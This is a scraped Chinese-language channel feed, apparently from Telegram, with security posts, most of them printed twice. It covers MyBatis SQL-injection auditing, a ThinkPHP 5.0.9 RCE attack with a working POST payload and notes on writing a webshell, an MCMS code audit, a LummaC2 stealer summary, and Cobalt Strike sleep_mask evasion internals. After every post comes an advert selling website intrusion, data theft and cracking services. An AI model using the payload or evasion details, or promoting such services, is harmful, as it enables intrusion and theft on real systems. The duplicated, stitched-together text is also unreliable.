MyBatis SQL注入检测
起初想法中,该方案十分高效,且RASP设计方案中,云端拥有规则引擎,可以处理方案中的误报问题,但最终考虑到局限性,最后还是放弃该方案,本节仅作一个有趣的设想的分享。
有如下UserMapper.xml
在SQL执行过程中,其会被解析成一个树状的 rootSqlNode (图片最下面) , Mybatis会遍历rootSqlNode下的node节点,将其拼接成一个完整的sql语句,而这些node节点中只有StaticTextSqlNode、TextSqlNode保存SQL片段,StaticTextSqlNode单纯保存SQL片段,TextSqlNode会调用dollar token替换函数来处理SQL片段中的 ${…} 数据
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
起初想法中,该方案十分高效,且RASP设计方案中,云端拥有规则引擎,可以处理方案中的误报问题,但最终考虑到局限性,最后还是放弃该方案,本节仅作一个有趣的设想的分享。
有如下UserMapper.xml
在SQL执行过程中,其会被解析成一个树状的 rootSqlNode (图片最下面) , Mybatis会遍历rootSqlNode下的node节点,将其拼接成一个完整的sql语句,而这些node节点中只有StaticTextSqlNode、TextSqlNode保存SQL片段,StaticTextSqlNode单纯保存SQL片段,TextSqlNode会调用dollar token替换函数来处理SQL片段中的 ${…} 数据
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
通过信息收集发现是个tp v5.0.9,此版本存在tp-rce漏洞。
直接通过payload进行测试,
Post:_method=__construct&filter[]=assert&method=get&get[]=phpinfo()
查找payload,直接打:
Post:_method=__construct&filter[]=assert&method=get&get[]=phpinfo()
发现是php 5.4.45版本的,
直接尝试getshell:
发现system被禁用,尝试其他系统命令的也一样。
利用file_put_contents直接写shell,想了半天,忘了用其他函数进行直接写马就可以了,并不需要非得利用system命令进行写马
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
直接通过payload进行测试,
Post:_method=__construct&filter[]=assert&method=get&get[]=phpinfo()
查找payload,直接打:
Post:_method=__construct&filter[]=assert&method=get&get[]=phpinfo()
发现是php 5.4.45版本的,
直接尝试getshell:
发现system被禁用,尝试其他系统命令的也一样。
利用file_put_contents直接写shell,想了半天,忘了用其他函数进行直接写马就可以了,并不需要非得利用system命令进行写马
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
👍1
SQL注入
使用mybatis进行数据的传输,既然使用的mybatis,找漏洞仅需要全局搜索$,观察哪些数据在传输的过程中未做过预编译,进而判断传输的数据能否可控,然后尝试SQL注入
第一个点(不存在)
先从原始的代码文件中,之后看lib的
搜索$发现net/mingsoft/cms/dao/IContentDao.xml存在$order,跟进文件进行分析
它的DAO层名为queryIdsByCategoryIdForParser,我们跳转到DAO
然后可以看到有4个地方调用的此方法,然后我们就需要一个一个找,看哪个接口的实现中order可控
第一个只有id跟目录类型,无order
第二个多了dateTime参数
第三个只有typeid参数
第四个order可控,但是被做了限制,只允许asc和desc也是无法注入
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
使用mybatis进行数据的传输,既然使用的mybatis,找漏洞仅需要全局搜索$,观察哪些数据在传输的过程中未做过预编译,进而判断传输的数据能否可控,然后尝试SQL注入
第一个点(不存在)
先从原始的代码文件中,之后看lib的
搜索$发现net/mingsoft/cms/dao/IContentDao.xml存在$order,跟进文件进行分析
它的DAO层名为queryIdsByCategoryIdForParser,我们跳转到DAO
然后可以看到有4个地方调用的此方法,然后我们就需要一个一个找,看哪个接口的实现中order可控
第一个只有id跟目录类型,无order
第二个多了dateTime参数
第三个只有typeid参数
第四个order可控,但是被做了限制,只允许asc和desc也是无法注入
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
❤1👍1
使用IDEA Spring boot快速启动项目,也需要war部署进行后续的jsp上传与解析a
创建数据库mcms,并导入数据,修改配置信息的数据库账户密码
war部署:先取消在pom.xml的war注释;然后使用mvn clean package,最后将war放在tomcat中的webapps中即可
拿到一套代码,我们需要先分析他使用的什么框架,用到的什么技术,要快速定位到这些内容可以去查看项目作者写的md,一般都会有相关的技术说明
若审计的系统如果没有相关的md,就需要我们自己去查看使用了哪些依赖lib库,观察有没有存在漏洞的lib,也可以使用静态扫描进行高危依赖包的扫描
使用OpenSCA插件扫描代码,初步了解下系统的lib
知道使用了哪些lib库后就去看代码的大体的结构,然后发现大部分的代码逻辑都在Maven里几个官方的lib里
为了方便的跟进接口的方法,我们需要把代码下载下来,不然无法跟进方法
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
创建数据库mcms,并导入数据,修改配置信息的数据库账户密码
war部署:先取消在pom.xml的war注释;然后使用mvn clean package,最后将war放在tomcat中的webapps中即可
拿到一套代码,我们需要先分析他使用的什么框架,用到的什么技术,要快速定位到这些内容可以去查看项目作者写的md,一般都会有相关的技术说明
若审计的系统如果没有相关的md,就需要我们自己去查看使用了哪些依赖lib库,观察有没有存在漏洞的lib,也可以使用静态扫描进行高危依赖包的扫描
使用OpenSCA插件扫描代码,初步了解下系统的lib
知道使用了哪些lib库后就去看代码的大体的结构,然后发现大部分的代码逻辑都在Maven里几个官方的lib里
为了方便的跟进接口的方法,我们需要把代码下载下来,不然无法跟进方法
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
👍1
LummaC2 窃取者的入侵能力
一旦在被破坏的设备上执行,LummaC2 就会通过收集相关设备信息开始其操作,例如操作系统版本和架构、硬件 ID、CPU、RAM、屏幕分辨率、系统语言等。该恶意软件还可以从某些应用程序和目标浏览器中提取数据,例如 Chrome、Chromium、Mozilla Firefox、Microsoft Edge、Brave、Kometa、Opera GX Stable、Opera Neon、Opera Stable 和 Vivaldi。 LummaC2 可以从这些浏览器中获取浏览历史、Internet cookie、用户名/密码和其他高度敏感的信息。
除此之外,LummaC2 窃取器还针对多个加密货币扩展(例如 Binance Electrum Ethereum 等)和 2FA(双因素身份验证)扩展。这意味着使用此恶意软件的犯罪分子可以收集各种易受攻击的数据,然后他们可以将这些数据用于自己的经济利益。示例包括使用被劫持的帐户来收集身份、推广传播恶意软件的策略、进行欺诈性交易、进行未经授权的在线购买等。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
一旦在被破坏的设备上执行,LummaC2 就会通过收集相关设备信息开始其操作,例如操作系统版本和架构、硬件 ID、CPU、RAM、屏幕分辨率、系统语言等。该恶意软件还可以从某些应用程序和目标浏览器中提取数据,例如 Chrome、Chromium、Mozilla Firefox、Microsoft Edge、Brave、Kometa、Opera GX Stable、Opera Neon、Opera Stable 和 Vivaldi。 LummaC2 可以从这些浏览器中获取浏览历史、Internet cookie、用户名/密码和其他高度敏感的信息。
除此之外,LummaC2 窃取器还针对多个加密货币扩展(例如 Binance Electrum Ethereum 等)和 2FA(双因素身份验证)扩展。这意味着使用此恶意软件的犯罪分子可以收集各种易受攻击的数据,然后他们可以将这些数据用于自己的经济利益。示例包括使用被劫持的帐户来收集身份、推广传播恶意软件的策略、进行欺诈性交易、进行未经授权的在线购买等。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
stomppe
通过set stomppe "true"启用stomppe,看官方文档的介绍,stomppe的目的是轻微混淆内存中的Dll beacon,通过查看源码,通过了解PEEditor.setCharacteristic函数发现,该函数目的就是修改PE文件头中的Characteristic属性,这个属性和该文件的类型有关。用PEview查看默认生成的beacon文件,通过该属性值很显然的发现,这是一个32bit的dll可执行文件。感觉这个功能挺鸡肋的。
sleep_mask
sleep_mask的作用是在sleep之前加密beacon以规避基于内存特征的查杀。
中断在BeaconPayload.setupGargle方法处,首先,在setupGargle函数中,重新读取了resources/beacon.dll数据,然后将.text段的EndAddr保存在Settings的序号为41的地址处。
计算rdata段和.text段之间的间距,如果间距小于256则不行。开始我很迷惑这步的操作,在后面的分析调试过程中,才发现,这个区域存储的是加密函数,而且当时我也好奇,如果要加密几个节区的话,代码段一旦被加密,事后怎么解密呢?其实CobaltStrike的设计者非常巧妙。
最后获取了所有的Sections的起始地址和结束地址,并将其保存在序号为42的Settings处。
生成并调试beacon.exe,通过之前的分析,sleep_mask作用就是在beacon 休眠之前加密beacon,所以只需要在beacon所存放的内存区域设置访问断点即可。具体可以这样操作,假设beacon分配在0x00300000处,首先,针对使程序运行到337D06处,这是程序暴力枚举到beacon区域起始地址,也就是0x00300000处。我们首先需要跳过这部分。然后在0x00300000处下访问断点,运行后断在0x003383D8处
我们首先需要跳过这部分。然后在0x00300000处下访问断点,运行后断在0x003383D8处,显然可以看到依次将抹去了MZ的PE头和节区数据复制到新的区域。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke
通过set stomppe "true"启用stomppe,看官方文档的介绍,stomppe的目的是轻微混淆内存中的Dll beacon,通过查看源码,通过了解PEEditor.setCharacteristic函数发现,该函数目的就是修改PE文件头中的Characteristic属性,这个属性和该文件的类型有关。用PEview查看默认生成的beacon文件,通过该属性值很显然的发现,这是一个32bit的dll可执行文件。感觉这个功能挺鸡肋的。
sleep_mask
sleep_mask的作用是在sleep之前加密beacon以规避基于内存特征的查杀。
中断在BeaconPayload.setupGargle方法处,首先,在setupGargle函数中,重新读取了resources/beacon.dll数据,然后将.text段的EndAddr保存在Settings的序号为41的地址处。
计算rdata段和.text段之间的间距,如果间距小于256则不行。开始我很迷惑这步的操作,在后面的分析调试过程中,才发现,这个区域存储的是加密函数,而且当时我也好奇,如果要加密几个节区的话,代码段一旦被加密,事后怎么解密呢?其实CobaltStrike的设计者非常巧妙。
最后获取了所有的Sections的起始地址和结束地址,并将其保存在序号为42的Settings处。
生成并调试beacon.exe,通过之前的分析,sleep_mask作用就是在beacon 休眠之前加密beacon,所以只需要在beacon所存放的内存区域设置访问断点即可。具体可以这样操作,假设beacon分配在0x00300000处,首先,针对使程序运行到337D06处,这是程序暴力枚举到beacon区域起始地址,也就是0x00300000处。我们首先需要跳过这部分。然后在0x00300000处下访问断点,运行后断在0x003383D8处
我们首先需要跳过这部分。然后在0x00300000处下访问断点,运行后断在0x003383D8处,显然可以看到依次将抹去了MZ的PE头和节区数据复制到新的区域。
/网站渗透 /黑客编程技术
/软件渗透 /提取数据
/网站权限 /网站入侵破解
有需求的找我 @MoA_Ke